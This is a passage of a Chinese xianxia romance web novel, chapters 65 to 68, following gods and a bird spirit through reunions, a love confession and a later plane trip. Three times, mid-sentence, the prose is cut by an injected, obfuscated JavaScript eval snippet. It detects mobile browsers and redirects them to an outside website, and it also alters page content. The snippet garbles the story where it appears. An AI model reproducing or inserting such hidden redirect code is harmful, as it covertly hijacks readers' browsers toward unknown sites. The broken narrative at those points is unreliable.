“在下不才,姓施名太浩,是浴霞的父亲,现掌幽冥司大小官司,兼任东越山镇山山神之位。观真,还有这位……妙原,多年前我与你们在蕴轮谷司山海宴上有过一面之缘。此番承蒙二位照顾小女,施某感激不尽。你们可以随意称呼我,又或者,干脆直接叫我岱岳就可以。” 65.杨枝怜柳(三) “时妙原!这位就是你想认识的那位高人了。” 荣闻音指着施太浩说:“怎么,不来和施老爷打个招呼么?” “你,你是……” 时妙原瞪大了眼睛。 他上下打量了施太浩许久,也无法相信自己方才听到的话。 东越山镇山山神?掌管幽冥司大小官司?这两句话他明明都听得懂,可这两个头衔拼凑在一起,还是令时妙原陷入了深深的震撼。 原来,他就是传说中幽冥阴司的主掌者。 理阴司法刑,辖生死果报,人间有青天,地府有岱岳的那位岱岳大帝! 传说中东越山位于人鬼两界入口,山下城镇布局与天界阴司几乎一致,多年来人间的确流传着东越山山神与岱岳大帝实为同身的传言,时妙原也确实听说过类似的揣测。但他没有想到的是,这位神龙不见首尾的神仙居然早就和自己有过一面之缘,而且光看施太浩的长相,他也完全想象不出他会是这么位高权重的角色。 “……嘶,那什么,小霞啊。”他默默扭头,对施浴霞问道:“你说你爹下去了,原来指的是这个下啊?” “哈哈,小孩子讲话,童言无忌嘛。”施太浩乐呵呵地说,“上次司山海宴之后不久我就被召回冥府做事,仔细算算我和小霞也有好几百年没有相见了。不过我一直在关注着人间的事情,所以才能这么快掌握你们的动向。” 时妙原下意识后退了两步。 荣闻音看出他的紧张,凑到他耳边对他小声说道:“你别怕,十恶大败狱不归他管。你们当年的事,他并未参与其中。” “哦哦哦,那就好,那就好……”时妙原像小鸡啄米似地点起了头,有荣闻音这句话,他在施太浩面前就觉得自在了不少。 他们俩交头接耳的时候,施太浩将手伸进袖管,从里面掏出了一小块包着绢布的东西。 “霜糖糕,我来前紧赶慢赶买到的。”他把它放到了对施浴霞手里,“我记得你以前最喜欢吃这个,现在口味应该也没有变吧?” 施浴霞把糕点推了回去。 施太浩的脸上闪过了一丝错愕。 “小霞,你……你是不喜欢吃吗?”他慌张地问,“是不合你口味了,还是你年岁长了,不爱吃甜的东西了?” 施浴霞摇了摇头。 “那你是生我的气了吗?”施太浩肉眼可见地紧张了起来,“对不起啊小霞,爹当初走得急,没能多陪你一段时间。你……你别误会!我没有责怪你的意思,你若是不开心那再正常不过了,就算你怨我,我也……” “不……我是不想要糖。” 施浴霞轻轻拉住了他的袖子。 “我想要抱抱。”她小声说。 施太浩微微一愣。 他立马张开双臂,紧紧地抱住了女儿。 “哎哟,哎哟!可腻歪死我了!”时妙原在旁边直撮牙花子,“好肉麻,好可爱,好感人,好那个哦!这个久别重逢最令人潸然泪下,小猫头鹰和大猫头鹰都抱在一块儿了呀,咱们小树枝不考虑和娘也亲近亲近么?嗯?阿真?你在发什么呆?快去抱抱你娘,快!” 荣闻音白了时妙原一眼:“你省省吧!我俩三天前才刚见过,平时也成天待一块儿。不像你,一走就是一千多年,到哪都找不着影子。要不是我托认识的鸟儿去给你捎口信,我看就现在我也不见得能请到您老人家出山!” 时妙原嘿嘿笑道:“哎呀,那我们做小鸟的就是很随心所欲的啦!你那空相山虽好,但终归不如我四处捣乱来得自在!姐姐莫要再责怪我了,我看就算没有我这绿叶作衬,你这霸王花也还不是照样开得敞亮么?” “呵,我见不到你倒乐得清静,只是嘛……个别人日子就没那么好过了。”荣闻音意有所指地说。 嗯?时妙原总觉得,她好像话里有话。 他注意到她手里还揪着金顶枝光秃秃的肉杆子,便好奇地问:“说起来,这东西你准备怎么处理?” “这个啊,我等下带回行宫去就好了,说起来,你之前不是还想要一些的么?”荣闻音指着地上的金叶子问,“现成的,随便捡,不收你钱。” 时妙原立马一蹿八丈远:“不了不了,婉拒了哈!我是喜欢会发光的东西,但这种金玉其外恶臭其中的还是免了!您自个儿拿回去炼丹吧,我看假以时日,你这空相山必要出一尊惊世骇俗的法宝!” 荣闻音笑骂道:“你少跟我贫!你放心,金顶枝到了我手里,就没法再掀起什么风浪了。我带它回去不过是不想它流落在外,四处害人,也免得成天有人到我殿上哭。不过我没想到它居然这么难办,要不是太浩及时察觉不对,你们几个今天还真的难讲了。” “嗯,我是在翻看生死簿时发现的疑点。”施太浩颔首道,“作金顶枝宿主的这书生死了多年,他的魂魄久未归位,恶孽却在持续增长,就算是成了恶鬼也不会有这么快的速度,所以我就猜测他大概是遭遇了什么意外……没想到情况比我想得还要更离奇。” “嗨呀,不就是壳子被蜈蚣占了么!”时妙原插着腰说,“你别说,这人对他老婆感情还是蛮深的,就是他叫我娘子的时候可给我膈应坏了。人家在感情上可是一片空白,他嘴上占了我那么大便宜,居然就这样下地狱了,说实话我是不服的!” “这书生……他真的是为了他妻子才变成这样的吗?”施浴霞问。 “是,也不是。”施太浩轻轻摇了摇头,“倒不如说他其实才是始作俑者。这人嘴上爱妻如命,实则恶迹斑斑,十世家业三代空,吃喝嫖赌样样通,娶了贤妻不懂珍惜,在他妻子身怀六甲时强要欺占孤寡女子,硬是给她活活气出了病,还没临盆就咽了气。” “哈!怎么能晦气成这样!”时妙原立马对空气连啐好几口,“我呸!就这种人还敢占老娘便宜!真是气煞我也!” 施太浩安慰他道:“你别气,他做了这些事,到了下面都要还的。死人说不了谎,生前装得多像东西,皮囊一脱都得被看个门清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298209|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。阴司刑罚道道,够他受到下辈子的了。” 一听见“刑罚”二字,时妙原便冷不丁打了个哆嗦。 他赶忙转移话题:“哎哟,不过这事儿其实也不太让我意外!这所谓地久天长、情比金坚呢,毕竟都是戏本子里唱的段词,别说是人了,就连咱们做神仙妖怪的也难做到这一点!依我看,感情一事无非是庸者自扰,我们脱离了六道轮回,还是得追求些更超脱的东西,你们说是不是?” 他说着伸了个懒腰,一扭头,见荣观真定定地望着他。 时妙原愣了一下。 几乎是瞬间,他就意识到自己刚才讲了什么。 坏了,他说错话了。 地久天长,庸者自扰……说者无意听者有心,看荣观真这表情,他好像是联想到别的东西上去了。 算了,他爱怎么想就怎么想吧!时妙原暗自思忖道:反正这确实是他的本意,反正,他从一开始就不觉得他和荣观真之间有任何深交的可能性。 现在荣观真嘴上说得好听,说想他念他,说喜欢他爱他,说要他再多给自己一些时日成长——可时妙原并不信他。毕竟以后的日子还长,神又难以老去,等再过几百几千年,等荣观真腻了烦了,不喜欢了,怎么看他都不痛快了,到那时候,还指不定会是怎样的光景呢。 年少者头脑发热,只片刻间就畅想了所谓永恒,可在朱颜辞镜之前,那所谓的爱与真心也不消多久便会变质变烂、变臭变坏。他活了太久,见过太多类似的故事,就当他是私心也好……他不想在荣观真脸上看到那种失落或厌倦的表情。 也就是现在周围人多,不适合深聊,等过会儿闲杂人等都离开了,他必须得找机会和荣观真好好谈谈。 说什么来什么。荣闻音将金顶枝塞进随身锦囊中,大手一挥道:“好了!既然事情也办完了,那我们也该走了。太浩,你公务重,任务紧,我今天就不多留你。等你什么时候得了闲,我再邀请你到蕴轮谷喝茶叙旧。” “嗯……”施太浩并未接话。他迟疑片刻,仿佛下定了什么决心似地叫住了荣闻音:“先请留步!” “怎了?”荣闻音回头道,“还有什么没处理干净的么?” “其实,我有一事相求。” 施太浩稍拉着施浴霞的手,把她推到了荣闻音面前。 “爹?”施浴霞慌里慌张地问,“你,你这是?” 施太浩清清嗓子道:“是这样的,闻音。这些年我忙于冥府大小事务,没什么时间陪伴小霞成长,让她白白浪费了许多精进的机会。等下我又该归府,但在离开前,我能不能托付你一件事?” 荣闻音皱眉道:“你讲。” “我请你收留小霞。” 施太浩诚恳地说:“我女儿她天赋高,脑袋聪明,修炼也很刻苦。从前我还在山上的时候,她就总是在我面前提起你。我想着既然她如此景仰你,我俩也算是有所交情,你能否看在她那么喜欢你的份上……破例收她作亲传弟子呢?” 66.杨枝怜柳(四) “爹?!”施浴霞的脸瞬间红了大半,“你你你别瞎讲!我哪有总是提啊!我我我我我只是稍微偶尔有些时候会讲一下而已嘛!” “太浩,你的意思是,你想让她跟着我一起修炼是么?” 荣闻音先是有些惊讶,但没过多久,她就露出了了然的表情:“当然可以。” 施浴霞大惊失色:“哎?!!” “说来也是有趣,我近些年每次出门云游,不论是去听愿解难,还是和朋友碰面,小霞都会凑巧出现在我身边。”荣闻音笑眯眯地对施太浩说,“我其实早就觉得她和我有缘,正好你今天开了这个口,我看,让她随我多学习学习也未尝不可。” 施太浩故作惊讶道:“哎,小霞,闻音娘娘说的可都是真的?我没记错的话,你不是最讨厌出家门了嘛?从前要你下山赶个大集都得三请四邀的,怎么到了闻音娘娘这儿就开了特例啦?” “我,我……”施浴霞恨不得直接钻进地缝里面,“我没有,我只是,我那个什么……我凑巧……” “如果小霞不愿意的话,我们最好也别强人所难。”荣闻音善解人意地说,“她已经不是小孩子了,做父母的最重要的是要听晚辈的意见,不能总想着替她作主。” 施太浩赞许道:“你说得是。那小霞,你要是不想……小小小小霞?!!!” 施浴霞扑通跪倒在地,用尽吃奶的力气给荣闻音磕了个惊天动地的响头。 当!!! “嚯啊!”时妙原吓得小跳了半步,“好铁的脑袋!” “师父在上,受徒儿一拜!”施浴霞埋头大喊道,“浴霞愿拜闻音娘娘为师!浴霞此生别无所愿,只想常伴娘娘左右,生死不离,无论何时一切全部听凭差遣!娘娘……不,师父!您若是不嫌弃的话,从现在起您就是我的亲娘了!” “等等,那我呢?!”施太浩失声尖叫,“这话可不兴乱讲,别忘了我才是你爹啊!” 咣咣咣咣咣!施浴霞也不管亲爹如何慌张,一连给荣闻音磕了七八个响头。荣闻音紧赶慢赶拦了半天是一个都没能阻止,她这头拜得火热,时妙原还在一旁不断地撺掇:“还不够,再用力!这才哪到哪啊!有道是美猴王遇上唐三藏,沙悟净再会江流儿,要拜师就得拜个彻底,光这些还不够显诚意,你得磕九九八十一个长头才算作数!再来再来!” “你这死鸟,别为难孩子!”荣闻音赶紧把施浴霞扶了起来,“小霞!你别听他胡说,他这鸟嘴巴从来没个把门!这里不方便说话,也不好正式拜师,正好你爹也要回去了,你今天就跟我回蕴轮谷吧!你先别急着认我当妈,等你在我那住上一些时日了,你再决定要不要做我的徒弟如何?” 施浴霞点头又摇头,她一时间情绪太激动,耳边的羽毛全都蹦跶了出来。 她握着荣闻音的手,嘴里嘟嘟囔囔的念叨着些什么,荣闻音左右听不太清,问:“小霞,你在说什么呀?” “我……” “嗯?” 施浴霞嗫嚅道:“我,我是想说……你的手好暖和哦。” “……”荣闻音彻底沉默了。 时妙原眼睛滴溜一转,贴到荣观真身边用胳膊肘拐了他两下。 “哎,阿真。阿真!”他神秘兮兮地说,“我感觉你好像要多一个娘了。” 荣观真看了他一眼,没多说什么。 嘿,这小子怎么突然开始装深沉了?时妙原见状不免感到稀奇,倒不如说从刚才开始,他就感觉荣观真一直心不在焉的。 时妙原这边还在纳闷,就听见荣闻音拍拍手道:“好了!不能再耗下去了。最近山里总有精怪惹是生非,我还得回去继续平定灵脉。那谁,时妙原!你过来一下。” “来了!”时妙原像一阵风似地扭了过去,“有什么吩咐,我的好姐姐?” 荣闻音问:“你是准备随我到家去喝两杯,还是自己另有安排?” “你别说!还真有。”时妙原指着头顶的月亮说,“您给这儿开了个天窗,我要是不赶紧修好,这金云村的小姑娘小伙子们明儿个可就没地方亲嘴了。不过你得把你儿子留给我,人家力气小,一个人整指不定要到什么时候呢。” 荣观真摇头道:“我就不留下了。” “那好,你等下先去把屋顶抬……你说什么?!” 时妙原震惊地望向了荣观真。 荣观真说:“我要回蕴轮谷。” “不……不是,你要走?”时妙原简直不敢相信自己的耳朵。 他刚才听到了什么? 他的耳朵坏了吗? 荣观真拒绝了他。 荣观真对他说了“不”? 他!竟!然!拒!绝!了!他!的!邀!请! 时妙原如遭雷劈,荣观真慢慢悠悠地说:“我想快些回蕴轮谷闭关。” 他这话一出,就连荣闻音也愣了神。 “闭关?”她不解地问,“你怎么突然想做这个了?” “因为,因为我觉得,我的修为太有限了。” “此话怎讲?” 荣观真抿紧嘴唇。 他说:“是这样的……娘,在来这儿之前,我以为凭我的能力,阻止山鬼魈作怪应该不成问题。但方才和金顶枝的缠斗让我意识到了,我的修为还是远不足以独当一面。三度厄不能乱用,无弗渡的力量我也发挥不太出来,方才要不是有您和施大人帮助,我们现在应该已经到下面去见他了。 施太浩苦笑道:“你这话说的……就算出事的不是你们,我也会来阻止金顶枝的。” 荣观真对他恭恭敬敬地行了一礼:“您说得是,但这次有您相救,下次我不会有这么幸运。我不能总是在你们的庇护下过活,我想好好修炼,精进功力,我想保护你和所有人。我想当个好护法……好山神。” “原来如此。”荣闻音露出了欣慰的表情,“虽然你这些年的变化我都看在眼里,但是真能从你嘴里听到这句话,我还是很欣慰的。这样吧阿真,你可以到寻香洞去修炼,那里清净,适合冥想。但你准备闭关多久?想要掌握无弗渡的用法,少说也得二十年时间。” 荣观真不假思索地说:“两百年。” “两百年么……也好,那你快去吧!”荣闻音拍板道,“善后的事情不用你们费神,修炼所需要的灵草药石家里都有,你让菩提果给你准备,它们知道该去哪找。” “好。” 荣观真抬腿便走,时妙原看他绕过一地狼藉走向门外,看他的背影逐渐没入了黑暗,直到他的脚步声消失在了树林之中,他才意识到:他真的走了。 荣观真走了。他甚至没再对他说些什么,就一个人自顾自地走入了黑夜。 为什么? 时妙原的脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303317|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里只剩下了这三个字。 为什么他会走得这样潇洒? 他感到一阵恍惚。 今晚发生的事情很多,很乱,可若是要算的话总共也没过多长时间。前半夜荣观真对他说过的那些话犹在耳边,可才过了两个多时辰而已,那些真诚热烈的告白却好像已经是上上辈子的事情了。 他就这么走了? 他就这么把他扔下来了? 他……他甚至连一句再见都没对他说啊? “时妙原,时妙原?”荣闻音从背后拍了拍他的肩膀,“你也走吧,这里不需要你来善后,这次多亏有你,你先回家休息,等之后有时间我们再叙叙旧也不迟。” “哦,哦……好的。” 时妙原点点头,像只无头苍蝇似地在屋子里绕了起来。 他应该收拾收拾东西的,可一来他并没有带任何随身物品,二来他借的衣服也已经坏掉不能穿。他在原地转了几圈,看到床上的银饰,想起来那好像是朱姆的,便走过去把它们捡了起来。 “我……我先去把这个还了。” 铛啷啷。他一个没拿稳,竟让两只珍珠镶银耳环从指缝里掉了下去。他想蹲下去捡,却忘了自己手里还有别的东西,就这样全都稀里哗啦地掉到了地上。 “哎哟!我来帮你捡!” 施浴霞立刻趴到了地上,荣闻音和施太浩也弯着腰在屋子里找了起来。时妙原满头大汗,不论怎么拾掇都是捡了芝麻丢了西瓜,等到他终于收拢好了首饰,才发现自己面前出现了一双沾满了青草与泥土的长靴。 “时妙原。” 有人在叫他的名字。 他愣愣地抬起头来,发现叫他的人是荣观真。 他去而复返,带着满身露水站在了他的面前。 “哎,阿真?”时妙原呆呆地问,“你怎么回来了……” “我想了想,觉得还是得回来和你说几句话。” 荣观真的脸很红,他似乎是一路小跑回来的,还在止不住地喘气儿。 他说:“我方才对你讲的都是真心话。” 施太浩与荣闻音对视了一眼。 “啊?”时妙原心里产生了一丝不妙的预感,“你说的是……” “我说,我喜欢你的事情,是真的。” 荣观真深吸一口气道:“时妙原,你……你可能觉得人间韶华易逝,感情从来无法长久,但我不这么认为。我是认真地在喜欢你,我想和你在一起,我想变得更强,我知道你不需要我保护,但我希望我能在你需要的时候给你一些帮助。至少,我不想再体会那种只能看着你受伤的感觉,而且我,我……我也不想随随便便就和你说再见。” 他扭头对荣闻音说:“娘,我听你的话对他讲了我的心意,那支簪子我也送给他了。我本来想带他回蕴轮谷,但他自由惯了,这样对他反而可能不好。可即便如此,我还是想再问他一个问题。” 荣观真蹲下来,对已然陷入恍惚的时妙原说道: “之前,我求你再多考虑考虑,再多给我一点时间成长。那现在我想问,若是假以时日,我真如你所说的那般像成了一位受人爱戴的神仙,如果我真的能做到从一而终的慈悲,假使我做得很好,好到足够让你满意,足够让你愿意接纳我……那到时候,你会愿意和我一起在空相山各处逛逛,看看我平时看的风景吗?” 67.杨枝怜柳(五) “如果你愿意的话,我想带你看看我平时常看的风景。” 荣观真说完,从时妙原手里接过那些花里胡哨的银饰,一言不发地帮他整理了起来。 时妙原呆若木鸡。 有很多话卡在他的喉咙里,可他不仅连半个字都说不出来,大脑也已经糊成了一团。 荣闻音的眉毛挑得老高,这情景似乎让她感到很是有趣。 “我们先回避一下吧。”她对施太浩父女说,“让他俩单独聊聊。” “别!等一下!”时妙原反应过来,急忙把荣闻音拦在了门口。他像抓住救命稻草似地问她:“你你你……我问你,你之前知道这件事情吗?!” “你指的是什么?”荣闻音云淡风轻地抱住了胳膊,“你问的是阿真喜欢你的事,还是他暗恋了你一千多年,不管见了谁都要聊起你,把我山上的花草动物们惹得不厌其烦,不论干什么事都非得要我把你找出来和他一起去,我寻不到你他就满天下乱窜连东阳江都搅得不得安生,到头来还把家里品相最好的宝石金子都拿来给你亲手打了支簪子,结果光是想送礼时该跟你说什么就自己演练了两三百次的事?” “什么?不是……我?我?”时妙原张大了嘴巴,“有这么夸张吗??” 他震惊地望向荣观真,而此君竟摆出了一副正义凛然的模样,但时妙原怎么看怎么觉得,这小子脸上赫然写满了“我暗恋我发疯我骚扰空相山全境我还从我娘宝库里抢东西给小情儿用但我就是妈妈的乖宝宝不容任何人反驳”这几行大字。 荣闻音绕到时妙原背后打量了起来:“你别说,这簪子还真挺适合你的。只可惜了我家最喜欢的一块玛瑙……啧,真是白白便宜你小子了。” “孩子喜欢就让他拿去吧。”施太浩在一旁柔声劝道,“毕竟他俩这次一起来金云村办事,不也是你想办法促成的么。” “不是?!”时妙原登时一蹦三尺高,“怎么连你也知道啊!” 施太浩腼腆笑道:“我也是才听说的啦。来的路上闻音告诉我观真有了心上人,我一听就来劲了,一不小心就问到了许多细节……你也知道,我们做父母的就爱聊这种话题。” 荣闻音叹息道:“我早就跟阿真说过了,我说你不一定看得上他,他还不乐意。” 荣观真默默低下了头。 “好了好了,这种事情还是留给孩子们自己聊吧。”施太浩示意荣闻音离开,“快走,快走,这种场合不好有旁人在场。” 他们很快就走了,只眨眼间,花楼里就只剩下了时妙原和荣观真二人。 时妙原感到万分迷茫。 这个画面太过诡异,和他曾经在脑海中排练过的半点也不一样。 他本以为,荣闻音若有一天知道了荣观真和他的事儿,会二话不说就拔出三度厄来追杀他。早在荣观真对他初次表露心迹之时,他就已经连山神大人会讲什么台词都想好了。 他以为她肯定会说:时妙原!你这个鸟渣!我救你出十恶大败狱,你知恩不图报就算了,竟然还敢不要脸地来勾引我儿子!你这老不死的狐媚东西,不知天高地厚的骚包臭鸟!你别跑!你看我不把你屁股上的毛全扒下来做鸡毛掸子! 时妙原默默摸了摸自己的屁股:他的尾羽应该都还在,腿也没有被闻音娘娘打断。他的身体毫发无损,可心灵却遭到了一场彻头彻尾的重创。而这一切的始作俑者,就站在离他仅有半步之遥的地方,静静地凝视着他。 见他久不言语,荣观真开口问道:“你等下要去哪?” “我……”时妙原想说我要回家,但是话到嘴边却卡住了。 他踟蹰道:“我那什么,我随便找个林子睡睡觉就行。” 荣闻音居然没走远,她听见这话,直接从门外探出了头来:“想上树不如回蕴轮谷啊,我那枝繁叶茂的,不比你随便找的破野地好吗?而且你哪有别的地方可去?你瞪我干嘛,你的底细我还不清楚么,这一千年你都住在哪里?我看别是以天为被以地为席,四海为家吧!” 她放完话便潇洒离去,独留下时妙原在原地哑口无言。 “你要是真的没地方去的话,就到我那儿暂住一段时间好不好?”荣观真小心翼翼地问,“香界宫有许多天然岩洞,那里平时冬暖夏凉,无人打扰,清修起来很是舒服。我把其中一间改成了卧房,我在那给你准备了很软的床铺,很蓬松的稻草,还有很香很香的茶叶。我问过我娘了,这些都是你会喜欢的东西。” “我……”时妙原犹豫不决。 “你放心!我绝对没有要强迫你的意思!”荣观真赶忙补充道,“我回去以后就会到寻香洞闭关,到时你想去哪就去哪,我绝对不会勉强你!就算我……没有那些对你的心思,你也是我和我娘的朋友。请朋友到家里做客,这是很正常很合乎情理的事情,对吧?” 时妙原张了张嘴巴。 他实在是,有些不知该说什么好了。 夜风轻柔,山间寒露愈重。 月光轻盈朦胧,在周围的事物上打下了一层层雾似的纱帐。 荣观真手捧银饰,站在时妙原面前定定地看着他。 他的表情严肃而又认真,时妙原在他脸上找了又找,看了又看,也挖不出半点虚情与假意。 他的确是,把所有的真心都剖出来送给了他。 “……” 时妙原慢慢蹲了下去。 他捂住发红发烫的脸颊,颤抖着声线说道: “……我想去住。” . . “请问您要咖啡,牛奶,还是红酒?” 西南航线,万米高空之上。 飞机舷窗外日光灿烂,时妙原抬眼望去,发现有什么东西正在太阳里对他眨眼。 “你别闹。”他低声说道,“我现在可没工夫和你拉家常。” “先生您好,请问您要喝咖啡,牛奶,还是红酒呢?” 见他久不回话,空乘又耐心地询问了一遍,时妙原正要回答,被身边人抢先了一步。 “他喜欢喝普洱茶,我也是。请给我们都来一杯,不要太烫,谢谢。”荣观真说。 空乘点头离开,再回来时拿了两只纸杯。时妙原接过一杯喝下,顿时感到胃里舒服了不少。 后排座位传来窸窸窣窣的交谈声,不用看都知道是荣承光和遥英在悄咪咪讲小话。他对这对小情儿的聊天内容并不感兴趣,便扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308335|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头去观察荣观真在做什么。 荣观真没有喝茶,他把杯子放在一边,仔细地翻看着机上的杂志。 时妙原探头一看:他正在细读的是一篇旅行游记,那上面的目的地么……居然是金云村。文章配图中有一对身穿木梭族传统服饰的青年男女,两千多年过去了,他们的打扮和从前比竟没有太大变化。 真是巧了。就在不久前,他才刚想起过这个地方呢。 说起来,当年那惊心动魄的一夜之后,又发生了什么事情来着? 印象中,后来他和荣观真修好了房子就一起回到了蕴轮谷。荣观真去寻香洞闭关,时妙原时不时便到谷里小住。他没想到的是,时隔多年之后,寻香洞居然摇身一变成了荣观真的私人住所。但比起这个,更让他在意的是,当年他在金顶枝境里看到的画面。 那个浑身是伤的荣观真……他真的只是金顶枝为了留下它造出的幻象吗? 思及此处,时妙原轻轻叹了口气。荣观真抬头问道:“怎么,又哪里没伺候好你么?” “没,我只是在想,我们还有多久能到地方?” “还有两个小时落地贡嘎,不过就算到了那儿,也得再开几百公里的车才能抵达克喀明珠山边缘。” “这样啊……”时妙原咬着纸杯边缘说道,“其实我不太明白,为什么我们不直接传送到贡布达瓦家里呢?我可是鸟哎,居然还要坐铁鸟出门,是不是太不符合常理了?你这钱留着干点什么不好?你给我多买两斤黄金也行呀。” “克喀明珠山不是我的属地,我贸然传送过去,在贡布达瓦眼里恐怕和强闯民宅没有什么区别。”荣观真将目光移回了杂志上,“而且西南高原地势复杂,光贡嘎市的海拔有三千五百多米,直接过去很可能会产生高原反应。” 时妙原惊奇地问:“山神也会高反吗?” “山神不会,但鸟妖就不一定了。” “哈啊?你看不起谁呢!” 要不是有安全带拴着,时妙原估计已经满客舱乱飞了起来:“我跟你说,你可别看不起我哦!我平时一飞就是几万米高,就连珠穆朗玛峰也是说翻就翻,这点海拔对我来说根本算不了什么!” 荣观真瞥了他一眼:“小点儿声,别人都在休息。” “你呀你,你不信邪的话你就等着吧!”时妙原冲他小幅度挥起了拳头,“我呢虽然比不得你们这些神仙,但论在天上溜达的经历你们是不可能比过我的!你就方向吧荣老爷,再怎么说你对我也算有知遇之恩,等到了那儿你要是顶不住了我也不会坐视不管。只要你开口,我绝对会大发慈悲来照顾你们的!哦,但是荣承光除外,他要是喘不过气儿来了我可不给他抱氧气瓶。” “是吗,那太好了。”荣观真皮笑肉不笑地说,“那我可就等着您老人家给我端茶送水了啊。” “切!你就走着瞧吧。”时妙原信心百倍地拍了拍胸脯,“等到那时候,我一定会让你们见识见识什么叫鸟界顶级的身体素质!” 荣观真懒得再搭理他,摇摇头继续翻阅起了杂志。 两个多小时之后,飞机抵达了贡嘎国际机场。 又过了十五分钟,时妙原一头栽进了荣观真怀里。 68.度母渡吾(一) 晚上九点,贡嘎机场医疗室输液区。 机场的广播声影影绰绰,走廊上时不时传来零星脚步声。这个点的医疗区没什么人,时妙原脸色惨白地躺在一张简易病床上,他的左手扎着吊瓶,鼻孔里捅着输氧管,右胳膊想抬也抬不起来,光是动一下就如风中残烛般颤抖。 “荣老爷……”他虚弱地喊了一声,“老荣,我,我想……” 荣观真正坐在他旁边看报纸,他听到时妙原的呼唤,递去了一杯插着吸管的葡萄糖水。 时妙原喝完后,他拿回杯子,云淡风轻地说道:“一飞就是几万米哈。” 时妙原气若游丝地说:“闭嘴。” “我死了你都不会高反。” “别说了。” “你会大发慈悲照顾我们的,对吧?”荣观真皮笑肉不笑地问,“我的好哥哥。” 时妙原悲愤地呜咽了起来。 “真的丢死人了!” 这简直他这辈子最狼狈的时刻。 本来,时妙原以为凭自己的体质,是怎么也不可能脆弱到会有高原反应的。 刚下飞机的时候一切其实都还好。那时他只觉得天朗气清,风阔云淡,周围的一切都令他十分新鲜,毕竟这是他第一次实打实地来到高原。 西南地区和中部有时差,太阳接近九点也还未完全下山。遥英还在劝他初来乍到别跑得太快,结果话音未落,时妙原就兴奋得在廊桥里狂奔了好几百米。 然后没过两分钟,他就扑通一声倒了下去。 周围人对这景象早已见怪不怪,只是苦了荣观真连行李都没来得及拿,就一路背着他风驰电掣地来到了医疗室。一群人围着时妙原又是喂药又是给输氧,好说才让他悠悠醒了过来。 血氧含量79!就连见多识广的医生们也纷纷感慨,刚下飞机就高反晕倒的游客虽多,但他们还从没见过如此迅猛的中招速度,时妙原自己也羞愤难当——要不是荣观真反应快,他很有可能会成为世界上第一只因为海拔过高一命呜呼的鸟。还是神鸟。 思及此处,他又挤出了两滴珠圆玉润的眼泪。 他的嘴唇苍白,眼角微微泛红,这模样看着好不脆弱,谁来了都要称一句我见犹怜。只可惜他卖惨的对象素来以铁石心肠出名,荣观真冷眼旁观了一会儿,还是掏出手帕帮他擦去了眼泪。 “别哭了,本来就缺氧,等下哭死过去了更丢人。” “老爷哟,都这时候了您就别讲风凉话了嘛。”时妙原故作伤感地咬住了小手帕,“人家好难受哦,我现在连气儿都喘不过来了哎,你不要嫌我丢人就丢下我不管……呜……万一我脑子缺氧变成傻蛋了,你会不会直接不要我了啊?” 他说这话时医生恰好走了进来,那是位皮肤黝黑的藏族男人,他见时妙原在哭便赶忙宽慰道:“小兄弟,你不要太担心啊!你年轻,恢复得快,只要及时输氧吃药,最多也就难受一晚上而已!” “是啊,你听医生的,等打完吊针就不难受了。”荣观真拿手帕轻柔地擦拭着时妙原的眼角,“你这种情况医生见多了,等身体适应就好了。” 医生爽朗地笑了起来:“哈哈哈,对的对的!有我们在你就放心好了!而且你还有朋友陪在身边,他对你这么上心,你肯定不会有事的!” 荣观真笑意吟吟地说:“谢谢大夫,不过我其实是他父亲。” 医生惊恐地后退两步,带着一脸“卧槽你们汉人玩得就是大”的表情逃也似地离开了这里。 输液室大门才刚关上就又被踹开,荣承光和遥英推着行李走了进来。水神大人今天穿了件带毛领子的飞行员皮夹克,还别具心裁地配了副镭射反光雷朋墨镜。和他相比,遥英的打扮就显得乖巧多了,他穿的是一件米黄色帆布外套,这让他看起来像极了被极道太子爷巧取豪夺的无辜男大学生。 遥英快步走到床边,给时妙原递了几粒药片:“常兄弟,药配好了,你快就水吃了吧。” “谢谢……唔,但为啥你俩都一点事也没有啊?”时妙原吞下药片,欲哭无泪地问道:“遥英,你不是人吗?凭什么我连气儿都喘不过来,你就能满地到处溜达啊?” “这个啊,这应该是因人而异的吧!哈哈。”遥英挠着后脑勺说,“我听说高反严重的人一般体质都比较好,你肯定是平时锻炼得比较到位,肌肉含量很高才会这样的!” “你信他这小身板有肌肉,还不如信我是秦始皇骑的北极熊。”荣承光不耐烦地晃了晃手机,“霞姐刚给我打电话,她正在……开车来的路上,大概还有半小时就能到。她已经在这呆了几天了,等下会先接我们去酒店落脚。” 施浴霞要来了?时妙原不由得心头一动。 又是一位故人。说起来,他也有好久没见过这位旧友了。 